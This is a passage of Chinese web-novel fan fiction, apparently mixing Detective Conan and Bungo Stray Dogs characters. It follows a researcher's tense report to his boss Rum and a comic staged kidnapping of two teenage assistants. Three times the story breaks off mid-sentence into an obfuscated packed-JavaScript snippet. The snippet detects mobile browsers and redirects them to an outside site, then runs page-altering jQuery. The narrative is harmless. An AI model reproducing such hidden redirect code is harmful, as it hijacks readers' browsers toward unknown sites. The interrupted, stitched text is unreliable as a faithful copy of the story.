好像莫名其妙地原谅他一点了。长岛京悟还想说什么，但是已经快一点钟了，他们得赶紧交餐盘走人。他四处张望了一会儿，在食堂的另外一个角落发现了吃得肚皮滚圆、几乎瘫在座位上的萩原研二和松田阵平。松本彻看着他找人，很爽朗地笑了：“社长，刚来就带新人呢？” 长岛京悟边向两个dk挥手边说：“不算新人吧，因为最近压力大，所以赶紧找了几个暑期兼职的小孩过来帮我打打下手。” 松本彻说：“原来如此。社长，你要是有什么需要的，请务必来找我。我在这里呆了两年，对这里的汇报流程、部门运作、甚至高层的行事风格都挺清楚的。” 长岛京悟说：“嗯，好的，那谢谢你了，松本。”他说话的同时，几乎是不由自主地侧过身，挡住了松本彻的视线，以一种保护的姿态，不让他再多打量两个正慢吞吞向他挪动的食物黑洞。 松本彻似乎注意到了这个微妙的动作，笑了一声，没有追问，从善如流地端起餐盘，往另一个方向的回收点走去。 就在他起身的瞬间，长岛京悟听见他用只有两个人才能听到的声音说：“社长，不管是什么忙我们都能帮你的，只要跟我说就好。” 他把“我们”二字咬得很重，就好像生怕长岛京悟以为自己听错了一样。 长岛京悟猛地抬头，还没来得及做出反应，就看到松本彻朝他轻轻眨了一下眼，端着餐盘走远了。 。 ——什么叫“我们都能帮你”？“我们”指的是谁？ 长岛京悟心里隐隐泛起一丝不安。他很清楚松本彻是在暗示些什么，可线索太少了，他无法拼凑出完整的答案。 与此同时，两个刚刚还在埋头苦吃的少年已经站到他身边。乍一看，他们似乎比刚进食堂时大了一整圈，好像连肩膀都宽厚了…… “都吃饱了？”长岛京悟刚问出这句话就后悔了，看这两个孩子吃得这个样子，很显然是已经把自己很多个器官都清空了换成胃容量胡吃猛塞。这要是还没吃饱，马蒂尼得直接去买个屠宰场回来吧。 松田阵平说：“吃饱了。京悟哥，这里待遇真不错。你天天在这里上班真是太好了！” 长岛京悟学着记忆里的老登板起脸催促：“吃饱了就行，快到一点了，赶紧给我回去干活。” 三人并肩走出食堂，踏进电梯。金属门缓缓闭合，电梯里一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15175919|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时安静下来，直到萩原研二像是随意找话题一样开口：“京悟哥，刚才和你一起吃饭的那个前辈，感觉跟你关系很好啊。” 长岛京悟愣了一下：“……诶，有吗？不过我们就是老同学而已啦，高中毕业后第一次见呢，没想到都在这里工作。” 话虽这么说，他比任何人都清楚这次重逢有多么不寻常。 他本身也不太相信所谓命运的巧合。至少在他回来之前，赤井秀一的紧急卧底培训课里的一条主要思想就是：任何看似轻松愉快的相遇，都可能隐藏着深不见底的陷阱。 只是松本彻是他高中这么长时间的鬼混搭子，每个星期两个小时的社团活动也是他青春里难以忘怀的快乐时光。就算如今已经是各自为营的成年世界，他还是难免会私心地想——万一这次只是运气好呢？万一这个山头本来就这么小，兜兜转转，两只牛马吃着草就重逢了呢？ 萩原研二哦了一声，然后若有所思道：“这样啊。那我觉得他至少应该很早就知道你在这里工作了。” 萩原研二的话像是一盆冷水，将长岛京悟心底唯一的一点侥幸也一并浇灭了。 好在此时电梯门开了，大家都在往外走，没人看到他有些失态的表情。他们穿过走廊往实验室走去，这时长岛京悟整理好了心情，假装若无其事地问：“为什么这么说？” 萩原研二没有立刻回答，而是像在脑海中梳理思路，过了几秒才开口：“嗯……至少我刚才在远处看的时候，觉得他的反应有点不太对劲。” 松田阵平问：“哪方面不对劲？” 萩原研二说：“他看到你的那一瞬间不对劲。如果是普通的老同学重逢，第一反应一般是惊讶，然后才是喜悦，或者会习惯性地问一句‘你怎么会在这里’之类的吧？但是那个前辈没有哦。虽然很微妙，但是我的直觉一直都很准——他的情绪没有起伏，完全没有惊讶，只有开心呢。” “所以我在想，”萩原研二若有所思地看着长岛京悟，“他应当是知道你在这里，但没有预料到会这么快见到你。” 长岛京悟原本因为重逢而升起的那点雀跃感瞬间冷却了。他有些难过地想：松本既然知道他被招募，说明他应该是白鸠制药比较资深的员工，说不定也是个有酒名的高层。也就是说，他之后还要警惕松本了。 这句话在脑海里转了一圈，最终变成一声无声的叹息。 他当然知道自己现在所处的世界已经不能允许任何天真的信任。可惜，就算明白这些，该有的失落还是不可避免地浮上心头：人长大之后，连见到老朋友都要提防着，未免有点太悲哀了。 不过，这些事情是不能告诉孩子的。他迅速调整好表情，将所有情绪压回理智之下，像是刚才那点波动从未发生过一样。 “是吗？你直觉一直都很准？”长岛京悟用调侃的语气打趣道，“那下次买彩票记得带上我。” 松田阵平笑起来：“他直觉确实挺准的，尤其是抓别人小动作的时候。不过京悟哥你为什么看上去有点不高兴呢？在公司里见到了好朋友是件开心的事情呀。” 长岛京悟没有接话，顺势推开实验室的门，示意两人赶紧回去继续刷试管。 松田阵平和萩原研二对视了一眼，倒也没继续追问，乖乖回到工位。实验室里很快恢复了正常的节奏，只有流动的水声和窸窸窣窣的擦拭声混杂在一起，偶尔夹杂着玻璃器皿轻轻碰撞的清脆响动。 长岛京悟走回自己的办公室，拉开椅子坐下，目光落在电脑屏幕上，却迟迟没有点开数据界面。 就在这时，他的邮箱显示收到了一封新邮件。 【From：朗姆 To：长岛京悟 进度呢？两周过去了，该拿点东西出来了。这周五来我办公室做个汇报。】 68.针对老登的黄金汇报法则 【长岛京悟】：朗姆让我周五汇报。到周五我才入职三周吧，你说他是不是有病？ 【马蒂尼】：他有病不是一天了，你确定他是让你周五过去吗？ 【长岛京悟】：是，我刚刚收到他的邮件，让我去他办公室汇报。 【马蒂尼】：你等等，我看看我能不能帮你查一下他的日程表…… 【长岛京悟】：你有他的日程表啊？你在这里的权利真是超乎想象的大。 【马蒂尼】：别，只是有时候他把我当秘书使， 【马蒂尼】：我看了一下，他只给你预留了不到半个小时的时间，像是硬挤出来的。据我对他的了解，他估计不是想要结果，只是想起你了，就顺便找个机会给你立个威而已。我猜你到时候会被他找茬。 【马蒂尼】：我建议你到时候就随机应变，随便讲讲，课题没有进展应该也没关系。反正你好像超擅长应对这种人的，把他当条狗，听听他都在狗叫什么。 【长岛京悟】：建议非常精准，谢谢！ 【马蒂尼】：不用，那我继续去鲨人了 【您的好友马蒂尼已开启消息免提醒】 长岛京悟放下手机，靠进椅背，长长地吐出一口气。 朗姆要立威是一回事，但与此同时，他也非常清楚，这是一个难得的，向朗姆证明自己的价值的机会。 被训斥和被认可并不冲突。甚至可以说，职场的精髓就在于，如何把他人试图打压你的行为，变成自我包装和上升的跳板。作为一个经验丰富、历经百战的成熟牛马，如何精准拿捏这个度，做到既让上司觉得你服从管理、值得提拔，又让对方意识到你能力出众、不可或缺，本身就是一门终生修炼的艺术。 今天是周一，距离周五的汇报还有四天。 四天的时间，理论上确实足够他拼一拼，连夜做点实验，也许还能捣鼓出点新数据，给朗姆来一发真正的科研震撼。不过，科研项目一向以年为单位推进，四天之内能发生的奇迹微乎其微。况且他手头的数据并不是没有统计学意义，只是距离“震撼老登”的目标，还差了一大截。 于是问题来了：怎么把“不够震撼”的数据，变得“好像很震撼”？ ——这正是长岛京悟作为顶级科研牛马的核心竞争力。 科研真正的底气是数据，但说到底，光有数据还不够。还得会讲、会秀、会让老登听懂，甚至听得高兴。汇报是包装，是表达，是节奏和话术的协调，是一场信息的精准投喂，甚至可以说是一种表演艺术。 这里长岛京悟还得感谢上辈子的鸡毛博后导师S教授。此人不是公主命，却有公主病。每周这个老登都需要实验室全员汇报进展，起步就是五页PPT，展示的每张图都得是出版级别的漂亮。在周复一周的“做不出实验、没有数据、老登逼着硬汇报、心态爆炸更做不出实验”的死循环里，长岛京悟虽然还没练出把白的说成黑的本事，但已经相当熟练于把黑的渲染成五彩斑斓的黑。只要有一点能用的数据，他都可以就此写出让人眼前一亮的摘要，挑出最有张力的图，做出一份既有美感又有逻辑的PPT。最后再搭配一张略显疲惫却坚定向上的发言脸，他上辈子最后两年的汇报可以说是所向披靡！ 所以长岛京悟非常清楚，自己现在要做的，就是把这堆乍看之下平平无奇的实验结果，用最快的速度、最稳的手法、最让朗姆这类老登买账的方式，精修成一份漂亮的展示材料。然后在周五当场见招拆招，成为朗姆踢到的第一块铁板。 。 距离周五早上九点还有三分钟，长岛京悟被一个黑衣猛男带着上了通往三十层的电梯。他站在朗姆办公室门前，最后一次整理了一下手上的材料。 这份汇报是他用四天时间、总共只睡了二十个小时拼出来的，堪称牛马之力的结晶。打印纸选用高级铜版纸，字体字号精确统一，封面配色经历了两轮迭代，连图表的箭头颜色都反复调过，以确保最大限度地提升视觉冲击力。 长岛京悟深吸一口气，敲了敲门。 里面传来一声低沉的“进”，语调简短，听不出情绪。这是典型的上位者语气：让你进来，不代表欢迎你进来。 长岛京悟推门而入。 朗姆坐在一张深色实木办公桌后，整个人几乎嵌入了那张高背椅中。他今天穿着一套军装风格的深灰西装，眼神像刀，从长岛京悟一踏入那一刻起就死死锁定了他。 桌上摊着两样东西：一份打印出来的预算表，和一台小型录音设备，红灯正悄无声息地闪烁着。 长岛京悟目光一扫就明白了。摆出预算表是告诉他，公司知道他花了多少钱；摆出录音笔是告诉他，这不是简单的内部交流。这是非常标准的立威配置。 他面不改色地走上前，把汇报资料放到桌角，神色自然地鞠了一躬：“感谢您抽时间听我汇报，朗姆先生。” 朗姆简洁地说：“坐。” 长岛京悟在那张没有靠背的单人椅上坐下，微微前倾，摆出一个“我时刻准备被批评”的学术受虐脸。 朗姆的语气很冷：“算上到今天，你一共入职三周。” “是的。” “你觉得你这三周做得如何？” 老登立威第一式：自我评价陷阱。答“好”是狂妄，答“不够好”是自废武功。真正聪明的牛马不会正面接球，而是避重就轻，从侧翼切入，给出一个不卑不亢、滴水不漏的中性总结。 长岛京悟说：“我觉得自己用了最快的速度熟悉课题，现阶段做出了一些前期铺垫性的数据，还不能称为成果，但有方向、有初步模型，基本符合我对前三周的预期。” 朗姆眯了眯眼：“你这回答倒是滴水不漏。” “我很怕浪费您的时间、给公司添麻烦，所以会提前准备好答案。”长岛京悟语气真诚地说。 朗姆没接话，只是用拇指随意翻了翻第一页资料，看了不到两秒，便将它推开：“讲吧，不要太长，我时间不多。” 老登立威第二式：打断流程，强行压缩你精心准备的节奏。对此，长岛京悟早有预判。针对这份汇报，他准备了30分钟、10分钟、5分钟、3分钟四个演讲版本，全部逐字背诵，随时可以灵活切换、自由拼接，用来应对各类老登的临场骚操作。真正顶级的牛马，讲究的就是一个模块化输出，任老登怎么砍流程，都能原地重组。 长岛京悟顺势拉过纸质汇报，打开第一页：“那我开始了。首先，我想要向您介绍我这三周的实验设计。我在宫野博士的实验记录上选取了三个可以优化的实验步骤，通过体外实验初筛出两个可能具有神经激活功能的关键条件。其中一个在两种细胞模型上提升了神经突起生成速率，另一个在膜电位维持上效果更明显。具体数据我用热图和时间曲线都标注出来了——” “讲这些我听不懂。”朗姆抬手打断，“说重点。” 长岛京悟：“……好的。简介地来说，在宫野博士的主导期间，这个课题的阶段性瓶颈是重复再现体外神经元再生。三个星期的工作后，我认为可能已经有了突破口。” 朗姆眉头一挑：“‘可能’？” “我在避免夸大，”长岛京悟镇定地回答，“数据初步可靠，但还需要进一步重复实验和对照分析。不过，如果这两个关键条件真的有我们推测的效应，那么距离确认通路和最终应用于制药就无比接近了。” 朗姆盯着他几秒，忽然笑了。或许是因为只有一只眼睛，他的脸在笑起来的时候并不显得亲切，反而令人感觉十分危险。 朗姆问：“你说话总是这么会挑词吗？” 长岛京悟恭敬地说：“我猜测您需要我做一个精准而诚实的汇报。” 朗姆冷哼：“嘴巴挺会说，野心也不小。谁知道你是不是提前彩排过。”说完，他竟随手把汇报资料抓起来，直接扔进了一旁的垃圾桶！ 他目光锋利地盯着长岛京悟：“如果就像你说的那样，有了一个突破口。那你下个月做不出比这次更有进展的结果，你打算怎么办？” 来了，老登立威终极绝招：先全盘否认你的成绩，再逼你用未来的承诺背书当下的价值。 这招的核心在于：他不评估你现在的工作是否合格，而是假装它一文不值，并用“未来是否更好”来判定你“现在是否有用”。在这样的前提下，你所有的努力都被迫转化为赌注，而不是成果。他不表态、不确认、不给予任何正向反馈，只留给你一个模糊的、充满威胁性的“下个月”。 这一招，同为老登pro max的S教授用得如火纯青。 和G教授不同，S教授向来不骂人，甚至称得上温文儒雅。但每次长岛京悟把最新数据夹在汇报文件里递过去，S教授总是边翻边点头，然后忽然一句：“你觉得这个结果能发哪儿？” 若他答得上来，对方会直接追问：“为什么没有办法往更高的杂志投？” 若他答不上来，对方会微微一笑，缓缓合上手上的资料：“那你现在做这些，你觉得有意义吗？” 很少有人能够忍得了S教授这种精神污染级别的pua。当时他们实验室里总共六个人，每一个人都有严重的焦虑情绪，到最后能润的都尽力润走了。而可怜的长岛京悟因为签证问题，只能硬撑三年，直到最后绝望猝死。这三年里，他对老登的抗压能力呈指数级增长，心理压力不过是家常便饭，他实在太能扛了。 所以当朗姆露出那副“我看你也就这样”的表情，把资料扔进垃圾桶，冷冷抛出一个“那你下个月怎么办”的时候，长岛京悟丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15231099|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毫没有意外，甚至差点笑出来：果然，老登终极立威术在不同维度、不同行业里，都是一样的味道。 他几乎是本能地切换回那种熟悉的应对策略，像是在身体深处某个被反复锤炼过的机制瞬间启动。他的声音、表情、语气乃至眼神，都在一秒钟内回到最擅长的那个频道。 就像把无数个被迫练习的汇报稿件一字一句从脑海中调出来、自动复读一样，长岛京悟稳稳地抬起头，对上朗姆那只独眼，露出一个恰到好处的微笑——不讨好、不畏惧，温和中带着克制的野心。 “朗姆先生，我理解您的意思。” 他语气冷静得近乎温吞，仿佛在说一件再平常不过的日常安排。那种沉稳中带着钝感的回应方式，不但没有削弱语句的力量，反而让人更难以抓到任何破绽或情绪的缝隙。 他顿了顿，继续说：“我会把今天当作一个起点。我会继续努力工作，直到有结果为止。” 在这里，他没有承诺会成功，也没有试图证明自己的判断有多准确。他只是精准地传递出一种信息：我是个能动起来的人，只要你还让我干活，我就不会停。 朗姆没有立刻接话，仿佛是在权衡什么，只是眉毛微微挑起，像是被某种意料之中的冷静触动了兴趣。 “当然，我也会接受任何调整。”长岛语气没有一丝波澜，“如果组织判断，这个方向不值得继续，我不会抱怨；但只要让我继续做，我就不会停。我认为自己不会让公司失望。” 他说得不急不缓，像是在呈交一份经过良好结构化和校准的数据报告。甚至没有一丁点“我是主角”的气势，没有一丝“我志在高远”的炫耀，听起来就像是在办公室的白板前讲述某个研究模型的更新节奏。 但这，恰恰是最能打动老登的说法。 不张扬——不会在他面前耀武扬威；不推卸——明确态度，主动揽责；有自知——知道自己没做出决定性成果；但不自傲——不摆成绩、不讲资历，只就事论事。 这正是一个理想的科研牛马在老登眼中应有的样子：识大体、服管理、能上手、可调配。 朗姆略有审视地盯着他看了几秒，脸上浮现出一种微妙的表情。 “你比我想的聪明不少。”他像在权衡什么，然后像是做了个决定，“那我问你。如果下周我要你不仅是对我，而是面对整个公司董事会做一次汇报，你能不能拿出让他们信服的内容？” 长岛京悟心跳漏了一拍。 这是一个信号：朗姆已经不仅仅把他当工具人，而是考虑将他打包成一个可展示、可投入的战略资源！ 对一个刚入职三周、连人事系统里的工号都还没正式上线的新人来说，这几乎是一种罕见的破格信任。长岛京悟清楚，朗姆现在正在下注——他赌这个叫“长岛京悟”的新人能给他争光、能在其他高层面前为他撑起一块招牌。 这是一次真正意义上的转正机会。只要他把握得好，就能从被圈禁在地下负一层的科研牛马，升级为组织重点关注的人才。 他稳了稳呼吸，语气不变地接话：“当然可以。” 朗姆似笑非笑地问：“你这‘当然’是哪来的底气？” 长岛京悟说：“我会根据目标听众调整内容。如果是董事会，我会弱化实验原理，强调数据趋势；如果是战略部，我会突出研发进度；如果是想要找茬的人，那我会讲一些听起来很难但其实没啥用的术语，把他听晕。” 朗姆的手指有一下没一下地敲着桌面，眼神沉沉地观察着他，像是在判断他到底能走多远：“你倒是想得周到。” 他顿了顿，又问：“你一点也不吃惊？” “我很吃惊，只是不表现出来。”长岛京悟说得诚恳极了，“其实我以为这个阶段的工作，暂时还不会让董事会关注。” 朗姆眼皮一抬：“你以为太多了。” 长岛京悟顺势点头：“确实，我下一步要做的，是确保自己只思考科研，其他的交给上级安排。” 他悄无声息地收起锋芒，主动退回一个安分守己、随叫随到的科研工具人的位置。 朗姆沉默了几秒，眼神有些审视，更是带了几分欣赏：“行，下周三的董事会例会，上午九点，公司B13会议室。我会亲自带你进去。”说完，他从抽屉里取出一张内部通行文书，在右下角签了自己的名字，推到长岛京悟面前。 长岛京悟：“好的。”他看了一下时间，知道他的汇报时间也差不多结束了。他站起身，语气郑重：“谢谢您的信任，朗姆先生。我不会让您失望。” 朗姆没说话，只是挥了挥手，算是结束谈话。 长岛京悟转身离开。就在门关上的一瞬间，他听见朗姆低低地嘟哝了一句： “……比宫野强。” 69.谁说刷瓶子不是个高危岗位 长岛京悟并不觉得自己在朗姆眼里比师兄强是一件值得高兴的事情。事实上，他只觉得离谱。 单论科研水平，他完全不敢说自己比得上宫野厚司。人家是实现了逆转神经衰亡，可以坐等诺奖组委会提着奖牌上门磕头的天才，而他充其量不过是科研界一个走位风骚、技术过得去、嘴巴比手更快的牛马。 他非常清楚，自己能在朗姆那样的老登面前全身而退，靠的根本不是学术造诣，而是他那套睁眼识登、见招拆招的登学十八般武艺。 什么时候装傻，什么时候低头，什么时候突然冒出一点小聪明给人看，他早就被上辈子的两个老登导师训练出了一整套自动反应系统。以至于朗姆看到一个“有想法、有潜力、值得投资”的科研新星，也只是他顺手营造出的人设。 他不是比宫野厚司强，他只是比师兄更能苟。 ……而擅长苟住，说到底，并不是一件多么光彩的事。 这么说起来也挺讽刺的。他的科研生涯就不是“探索真理”，而是“如何在不被老板骂死的前提下交差”，和各种老登斗智斗勇，从没停过。 导师，合作者，审稿人，基金委，校内交叉课题牵头人……这个世界是个巨大的老登。不管穿什么皮、说什么话，本质都一样：只要结果，不问过程。只想产出，不管死活。 科研人有没有睡觉？科研人吃不吃饭？科研人是不是发着高烧用移液枪——你以为会有人在乎吗？不会的，他们只会说：“这个数据有点意思，能不能再重复一遍，把样本数加到一百或者一千？” 而长期睡不好觉的结果就是猝死。 长岛京悟想到这里，猛灌一口咖啡，想试图用苦涩的味道压一压自己的情绪，但下一秒更想发疯了。 因为这破咖啡是他凌晨四点来这里，最后确认给朗姆的汇报文件的时候泡的！ 现在都中午十二点了！ 而且那份文件朗姆看都没看就扔进垃圾桶了！ ……哦，十二点了，那就该去吃饭了。叫一下那两个小孩哥吧。 长岛京悟打个哈欠，把衬衫的扣子解开两个，喷了定型喷雾的头发揉乱，然后溜达出办公室去找松田阵平和萩原研二。 ——没有找到。 长岛京悟眨了眨眼，再次扫视一圈空荡荡的实验室，水池里还堆着洗到一半的瓶子，门边还放着需要高压灭菌后丢掉的垃圾袋。他的眼神先是迷茫，然后迅速转为一种“有那么一点不对劲”的警觉。他眉头微皱，往门口走了两步，又往左边的液氮间、右边的高压灭菌房、甚至连最角落的储物柜都检查了一遍：还是没人。 没有松田阵平，也没有萩原研二。而今天早上他去朗姆办公室前，他还和刚来的两个少年打了招呼。 。 时间回到早上九点整。 松田阵平和萩原研二一如既往地准时准点打卡完成了自己兼职日常的第一项任务——换垃圾袋。 干完这个低技术含量却至关重要的环节，他们检查了昨晚留下的试剂库存，确认无误后开始打包要送去测序的样品。 两人干活一向认真：冰袋要冻得恰到好处，保温箱密封得严严实实，外包装上还要用马克笔写上“亲爱的快递小哥，请对我温柔些，我是重要的实验样本（卖萌颜文字）”，确保运输过程万无一失。 一切就绪后，他们掐着点拎着保温箱走楼梯上到一楼，准备把样品送到公司配套的专属快递站，就在公司后门货梯旁边。 他们刚走出楼梯间，还没来得及感慨今天又是打工人光荣的一天，就猛地注意到一个鬼鬼祟祟的身影从后门走出来。 “……萩，”松田阵平小声唤了一声，用下巴示意前方，“你看那个人。” 萩原研二顺着他的视线看过去，果然看到一个穿着灰黑色短袖、头戴棒球帽、口罩戴得严严实实的男人从后门走出来，急匆匆地朝快递站这边张望了一眼，然后又像是突然发现有人注意到他似的，猛地低下头，快步钻进了公司后门与外墙之间的狭窄巷子里。 “他看上去像在躲什么。”萩原研二皱起眉，声音压得很低。 “像不像那天在食堂跟京悟哥打招呼的那个人？”松田阵平已经半眯起眼睛，脑中迅速检索，“那个什么……松本彻？” “是他。”萩原点了点头，“衣服一样，走路的欠揍姿势也一样。” 两人对视了一眼，默契十足地将保温箱交给快递站小哥，转身假装散步，悄悄朝巷子方向绕了过去。 “京悟哥说他是老同学，没想到都在这里工作，但他刚刚那动作，怎么看都不像是一个单纯的研究员的样子。反正比京悟哥看着要奇怪很多。”松田阵平低声说。 “戴帽子和口罩，很明显的是遮掩身份的行为。”萩原研二眯起眼睛，“而且那个巷子监控和人都少，是一个干坏事的理想地点。” 他们贴着墙角，小心翼翼地靠近巷子口，尽量让自己藏在阴影里。 巷子里，模糊的脚步声传来，接着是几句听不清的低声对话。 他们悄悄探出一点视线，只见松本彻正站在巷子深处，面对一个全身黑衣、下半张脸上缠着绷带、扎着马尾的陌生人。黑衣人身形修长，动作干净利落，气场冷得像是走错片场的忍者。他们交谈得极快，随后松本从怀里掏出一个看起来像是U盘的东西，递了过去。 “我的天。”松田阵平吸了口气，“这不是活脱脱间谍片的剧本吗？” “要录下来吗？”萩原研二已经掏出了手机，调好录屏，“我们要是录到公司的间谍线索，京悟哥该不会请我们吃烧肉吧？” 然而，就在他刚按下录制键的那一瞬，萩原研二突然感觉到肩膀一沉—— 一只手从背后猛地伸出，精准又安静地按住了他的肩胛骨。他反射性想躲，但那股力道死死压住了他，就像是被钉在了原地一样。 与此同时，松田阵平猛地转身，正准备挥拳，却只看到一道黑影几乎贴地而来。他的胳膊刚抬起来，手腕就被对方一记利落的锁扣拦住，整个人顺势被压在墙上。 “小阵平！”萩原挣扎着喊了一声，但还没挣脱那只钳制他的手，就感觉身后那人动作一转，轻巧地从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255251|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他手中夺走了手机。 整个过程不到三秒。 三秒！他们还没来得及说“我们不是坏人”，手机就被收走了，攻击姿势就被反制了，对手战斗力之强、出手之熟练、配合之默契，简直不像是现实世界里的人，而是从某种训练手册里直接走出来的。 “啧。”一个略微有点年纪的陌生男声低低响起， “这么小的年纪，就这么多事。” 另一个声音笑了笑，略带调侃：“现在的小朋友胆子都不小，还知道录视频——下次再聪明点，换成打电话会比较有用哦。” 松田阵平和萩原研二抬起头，终于看清了面前的人影—— 一个是戴着单侧眼罩、腰间挂着烟斗的白发老爷子。 另一个是板栗色头发、鼻子上贴着创可贴的青年。 他们从未遇到过如此危险的对手，那种沉稳又危险的气场瞬间使他们四肢麻木，几乎无法动弹。 他们绝望地想：完了，这次是真的栽了。 身后传来一阵轻快的脚步声。 摘了帽子和口罩的松本彻走了过来，脸上带着温和到令人发毛的笑容，就像刚刚那场可疑交易从未发生过一样。 “早啊，社长的两个小实习生。”他说，“怎么不在实验室乖乖待着呢？” “你到底想干什么？”松田阵平咬紧牙，试图挣开钳制他的手腕，全身绷紧成随时可能爆发的姿态。 但他的手还没发力，就被眼罩老爷子轻轻往下按了回去。那动作不重，甚至称得上温柔，像是长辈在阻止孩子打架。但松田清楚地知道，那只手如果想，可以在一秒内掐断他的骨头。 “别误会嘛。”松本彻举起食指，做了个“嘘”的手势，“我可没兴趣伤害你们。事实上，我是受公司的正式委托，来跟社长谈点事情。只是——”他话音一转，语气变得意味深长，“我们总约不到他，那只能麻烦你们先陪我走一趟了。放心，白鸠制药是正经公司，从不伤害未成年。” “……你这是绑架。”萩原研二冷静地开口。 “法律意义上的话，”松本彻歪头思考了一下，“你们应该属于‘临时带离现场配合安全调查’。” “你觉得我们信吗？”松田怒道。 “我觉得你们没有选择信不信。”松本彻依旧笑眯眯的，“不过你们聪明的话，现在闭嘴，然后尽量在车上坐稳，别惹这两位先生不高兴——他们可比我凶多了。” 松田阵平脸色一变，刚要张口反击，却被萩原用眼神拦住了。 萩原研二沉声道：“你费尽心思布下这一整套局，只是为了在公司外面控制住我们？” 他抬起头，目光冷静地直视松本彻：“如果你真是公司里的人，想拿我们去威胁京悟哥的话，那在公司内部动手效果才是最好的。毕竟我相信，京悟哥在这里也不算是完全被信任的对象。” “你特意把地点选在公司外，又这么小心地绕开监控……”萩原研二顿了顿，眼神更锐利了几分，“你不是公司内部的人。你是被其他势力安插进公司里的卧底，对吧？你的目的是什么？” 70.老乡见老乡，两眼泪汪汪 松本彻说：“真不愧是社长带的实习生，真是敏锐。的确，我是另外一个敌对公司安排在这里的间谍，我现在要绑架你们，从长岛京悟口中得到商业机密，然后借此搞垮你们公司，桀桀桀，桀桀桀！” 栗色头发的青年说：“求你停下来吧，真的很尴尬。你再这么笑我们就回横滨了。” 松本彻立刻止住了恶毒大笑。然后他像是带着点尴尬似的虚张声势：“总之，乖乖跟我们上车，不然有你们好看。” 萩原研二说：“你在撒谎。首先，我并不觉得京悟哥能够拿到这个公司的机密。其次，如果真的只是为了绑架我们来要机密，把我们打晕再带走难道不是最直接的方法吗？”他再看了两眼身边的三个黑衣人，眼睛转了转，笃定地说，“你不敢对我们下手，是因为你在怕什么吗？” 松本彻眯起眼睛：“你的话有点太多了。” 松田阵平补充道：“你不会是怕京悟哥知道你伤害无辜未成年之后生气吧？他的性格看上去的确是很遵纪守法讲道理的那一类。” 松本彻咬牙切齿，转头对老爷子说：“广津，你去把他们的嘴堵上。” 叫做广津的老爷子笑眯眯地说：“老夫倒觉得他们说的挺有道理的，松本大人。” 松本彻换个方向转头：“立原，我是你上级，你去把他们嘴巴塞住，用那种软一点的棉花。” 栗发青年立原叹了口气，从包里摸出一包棉花球递给两个少年，像是在分发糖果：“来，自己动手吧，医用级，消过毒的。” 松田阵平说：“我不，你能拿我怎么样？” 松本彻冷笑：“好，有骨气，那就别怪我不客气了。小银！” 第三个忍者一样的黑衣人走上前，一副侧耳恭听的样子。 松本彻指着两个少年：“你先带他们去最近的便利店随便买点吃的喝的，再把他们带到车上吹空调，顺便把车载音响开大点，总之别让我听到他们讲话的声音。” 萩原研二和松田阵平都愣住了。 松本彻板着脸肯定自己：“对！我可是个黑手党，凶起来我自己都怕。再废话我就让你们两个中午吃不到饭后甜品！” 广津慈祥地拍拍松本彻肩膀：“松本大人，您真是铁血手腕。” 立原鼓掌：“厉害，最标准的精神折磨，除了您，一般人想不出来。” 松本彻哼了一声，转头对小银补充道：“记得让他们用最小号的饮料杯，不许续杯，吸管也只能给一根纸质的。” 萩原研二还想说什么，松本彻恶狠狠地说：“闭嘴，快滚。要是让我们知道你想逃跑，我干不掉你们俩，干掉一些路人总是可以的。别忘了我是黑手党！” 。 两个被绑架的未成年在三个黑手党的押送下，浩浩荡荡地前往最近的便利店。松本彻站在原地，看着他们走远后拿起手机开始打电话：“……喂，佐佐木？我这边搞定了。你几点下班？” 电话那头传来一个有气无力的声音：“我今天争取准时走，五点吧。” “行。天仓呢？” “他没问题，搞行政的真的太幸福了。” “哦，好。市川还要加班吗？” “他昨天跟我说已经连续熬了三个星期了，就为了今天早点下班。” “OK，那这边人齐了。你们给社长留条子了吗，他知道去哪找我们吗？” 电话那头的人迟疑了一下：“没有啊，上次不是你说你自己都能搞定吗？” 松本彻的声音顿时拔高了三度：“我靠，我们一共四个人，我有一个人已经干了百分之九十九的活了，结果你们连这种初级任务都能漏掉？” 对面打了个哈欠：“……那我过会儿去给他发短信吧。” 松本彻说：“别过会儿，现在就去，你们不要老是想着躺平靠队友。幸好就我和社长两个人读了研，你们这种令人发指的行为遇上小组作业都不知道怎么活下来。” “好，我挂了电话就去。不过，松本……”对面声音停顿了一下，语气变得有点迟疑，“你确定这样找他真能行吗？我们现在根本不知道他是什么状态。要是他真被乌鸦洗脑了，把我们供出去，那就不是聚会，是送人头了。” 松本彻“啧”了一声，声音里透着点不耐，但没像平时那样直接开喷，顿了两秒，语气低了下来： “他要是真被洗脑了，我们这次人够，直接把他绑回横滨，洗干净、吹干，再喷点防腐剂，重新做人。” 